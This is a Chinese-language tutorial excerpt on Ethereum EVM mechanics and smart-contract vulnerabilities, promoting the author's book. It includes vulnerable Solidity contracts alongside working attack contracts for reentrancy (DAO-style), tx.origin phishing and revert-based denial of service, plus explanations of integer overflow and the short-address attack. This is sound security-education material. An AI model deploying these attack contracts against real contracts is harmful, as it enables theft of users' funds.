以下都是来自我的新作《解密EVM机制及合约安全漏洞》里的内容
电子版PDF下载:https://download.csdn.net/download/softgmx/10800947
漏洞成立的条件:
底层转账函数 |
防重入 |
错误处理 |
.call.value()() | NO |
返回false |
.send() | YES |
返回false |
.transfer() | YES |
Revert stateDB到调用前状态 |
.call.value()的实现:
.send()的实现:
.transfer()的实现:
Transfer能在调用失败时候主动抛出异常的原理:
漏洞案例合约:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻击合约:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
上面就是著名的针对the DAO合约的攻击原型,导致了ETH分叉成ETH和ETC。
(1)存储 hash 碰撞问题
contract PresidentOfCountry {
struct Person {
address[] addr;
uint funds;
}
uint tt=10;
mapping(address => Person) public people;
function f() {
people[msg.sender].addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,
0xdd870fa1b7c4700f2bd7f44238821c26f7392148];
people[msg.sender].funds = 0x10af;
}
}
看看这份合约的存储布局
存储布局:
address(addr) = sha3(1)+0
address(addr[0]) = sha3(sha3(1))+0
address(addr[1]) = sha3(sha3(1))+1
address(addr[2]) = sha3(sha3(1))+2
address(funds) = sha3(1)+1
(2)函数内未初始化的储存指针所带来的覆写问题:
Solidity语言也允许用户自定义struct这种复合数据集,如果struct定义在函数内,那么它为局部变量且默认使用storage存储类型(引用类型),但也可显式指定为memory存储类型。
如果在函数内定义一个未初始化struct结构体,它默认是storage pointer类型,而且会指向的是storage[0]的位置,而这个位置却是第一个全局变量的位置,这样会导致全局变量被覆写,从而引发严重的安全问题。
案例合约:
pragma solidity ^0.4.25;
contract Test {
address public owner;
address public a;
struct Seed {
address x;
uint256 y;
}
function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}
function fuck_u (uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}
看看局部变量“Seed s;”的默认类型(https://solidity.readthedocs.io/en/v0.5.0/types.html#structs):
调用调用fuck_u方法前:
调用fuck_u方法后:
容易引起逻辑错误的地方,往往是因为对EVM底层函数调用机制的不熟悉
调用方法 |
失败返回 |
address.call() |
false |
address.callcode() |
false |
address.delegatecall() |
false |
address.send() |
false |
address.transfer() |
抛出异常,revert StateDB |
案例:
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount); //没有判断返回值,可能造成转账失败,但余额被扣
}
另外,需要注意的是,如果call、callcode、delegatecall、send调用的合约地址不存在,也会返回True,这是EVM实现问题
绕过鉴权通常有以下几种方法:
tx.origin指的是最初始发起调用的地址,如果用户actor通过合约b调用了合约c,对于合约c来说,tx.origin就是用户actor,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。
举例漏洞合约:
pragma solidity >0.4.24;
contract TxUserWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
构造攻击合约:
pragma solidity >0.4.24;
interface TxUserWallet {
function transferTo(address dest, uint amount) external;
}
contract TxAttackWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function() external {
//只要引诱用户Actor给TxAttackWallet合约转账就可以成功bypass TxUserWallet合约的鉴权保护。
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
原理介绍:
uint 8: [0,0xff]
uint 256:[0,0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff ]
首先,让sellerBalance=0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff;
然后,加2使uint256发生整数溢出:
案例(美链):
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
//可以构造出一个很大的_value与cnt相乘溢出得到一个小于balances[msg.sender]的值,
//这样能成功绕过后面的界限保护
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
核心思想:
KingOfEther(国王游戏)被DoS攻击的合约:
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 price;
function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
//如果攻击合约让transfer返回失败,那么谁无法替代黑客的国王地位
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}
攻击合约
contract Attack {
function () { revert(); } //让调用合约永远返回失败
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
(2)gas燃尽,无法后续操作
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
// 通过上面的invest 可以控制investors数组长度,当其长度超过一个阀值,这个distribute方法在for循环处就会因为gas不足而退出,进而无法完成批量转账
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
两个要点:
矿工可以操纵时间戳
roulette.sol:
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
//可以通过插队攻击来优先成交
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
//矿工可以操纵出块的时间戳,以满足now(block.timestamp) : now % 15 == 0
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
攻击目标:
以ERC-20 TOKEN标准的代币为例,其transfer方法定义如下:
function transfer(address to, uint tokens) public returns (bool success);
如果我们要给地址0000000000000000000000000123456789012345678901234567890123456700发送2个ETH,
当我们调用transfer函数发送代币的时候,交易的input数据分为3个部分(如下图a):
但如果我传入的地址最后两位是00的话,可以不写,这样合约在解析参数时,会从下一个参数的高位拿到00来补充,而后面的参数不足32字节,会自动在尾部补上00,这样我们只取2个ETH, 却拿到了512个ETH.
如果不对参数的有效性进行校验,就自动补齐是非常危险的